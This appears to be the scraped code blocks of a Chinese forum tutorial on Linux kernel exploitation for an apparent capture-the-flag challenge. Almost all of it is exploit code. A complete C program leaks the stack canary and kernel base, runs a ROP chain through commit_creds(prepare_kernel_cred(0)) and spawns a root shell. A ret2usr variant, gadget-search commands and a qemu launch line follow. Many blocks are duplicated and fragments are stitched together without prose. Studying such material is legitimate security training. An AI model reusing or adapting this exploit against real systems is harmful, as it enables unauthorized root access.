printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}ropper --file ./vmlinux --nocolor > g
ropper --file ./vmlinux --nocolor > g
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<sys/stat.h>#include<sys/types.h>#include<sys/ioctl.h>size_t u_cs, u_rflags, u_rsp, u_ss;size_t commit_creds, prepare_kernel_cred;void save_status(){ __asm__("mov u_cs, cs;"
"pushf;"
"pop u_rflags;"
"mov u_rsp, rsp;"
"mov u_ss, ss;"
);
}void set_off(int fd, int offset){
ioctl(fd, 0x6677889c, offset);
}size_t leak_canary(int fd){
size_t temp[0x10] = {0};
set_off(fd, 0x40);
ioctl(fd, 0x6677889b, temp);
return temp[0];
}size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}void get_root_shell(){ if(getuid()==0)
system("/bin/sh");
else{
puts("[-] get root shell failed.");
exit(-1);
}
}void rop(int fd, size_t canary, size_t offset){
size_t name[0x100] = {0};
//----gadgets----
size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;
size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;
size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;
size_t swapgs_popfq = 0xffffffff81a012da; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2; // iretq; ret;
int idx = 0;
for(idx=0;idx<10;idx++)
name[idx] = canary;
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
write(fd, name, 0x800);
puts("[+] rop loaded.");
ioctl(fd, 0x6677889a, (0xffffffffffff0100));
}int main(){
save_status();
int fd = open("/proc/core", O_RDWR);
size_t canary = leak_canary(fd);
printf("[+] canary: 0x%lx\n", canary);
size_t vmlinux_base = leak_vmlinux_base();
if(!vmlinux_base){
printf("[-] leak base failed.\n");
exit(-1);
}
size_t vmlinux_base_no_pie = 0xffffffff81000000;
size_t offset = vmlinux_base - vmlinux_base_no_pie;
printf("[+] offset: 0x%lx\n", offset);
rop(fd, canary, offset);
return 0;
}#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<sys/stat.h>#include<sys/types.h>#include<sys/ioctl.h>size_t u_cs, u_rflags, u_rsp, u_ss;size_t commit_creds, prepare_kernel_cred;void save_status(){ __asm__("mov u_cs, cs;"
"pushf;"
"pop u_rflags;"
"mov u_rsp, rsp;"
"mov u_ss, ss;"
);
}void set_off(int fd, int offset){
ioctl(fd, 0x6677889c, offset);
}size_t leak_canary(int fd){
size_t temp[0x10] = {0};
set_off(fd, 0x40);
ioctl(fd, 0x6677889b, temp);
return temp[0];
}size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}void get_root_shell(){ if(getuid()==0)
system("/bin/sh");
else{
puts("[-] get root shell failed.");
exit(-1);
}
}void rop(int fd, size_t canary, size_t offset){
size_t name[0x100] = {0};
//----gadgets----
size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;
size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;
size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;
size_t swapgs_popfq = 0xffffffff81a012da; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2; // iretq; ret;
int idx = 0;
for(idx=0;idx<10;idx++)
name[idx] = canary;
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
write(fd, name, 0x800);
puts("[+] rop loaded.");
ioctl(fd, 0x6677889a, (0xffffffffffff0100));
}int main(){
save_status();
int fd = open("/proc/core", O_RDWR);
size_t canary = leak_canary(fd);
printf("[+] canary: 0x%lx\n", canary);
size_t vmlinux_base = leak_vmlinux_base();
if(!vmlinux_base){
printf("[-] leak base failed.\n");
exit(-1);
}
size_t vmlinux_base_no_pie = 0xffffffff81000000;
size_t offset = vmlinux_base - vmlinux_base_no_pie;
printf("[+] offset: 0x%lx\n", offset);
rop(fd, canary, offset);
return 0;
}void get_root(){ void* (*cc)(char *) = commit_creds;
char* (*pkc)(int) = prepare_kernel_cred;
(*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));
}void get_root(){ void* (*cc)(char *) = commit_creds;
char* (*pkc)(int) = prepare_kernel_cred;
(*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));
}for(idx=0;idx<10;idx++)
name[idx] = canary;
/*
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
*/
name[idx++] = (size_t)get_root;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
for(idx=0;idx<10;idx++)
name[idx] = canary;
/*
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
*/
name[idx++] = (size_t)get_root;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
struct tty_struct { int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096 int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;struct tty_struct { int magic;
struct kref kref;
struct device *dev;
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]Kernel PWN从入门到提升 33538
- [原创]tcache bin利用总结 20420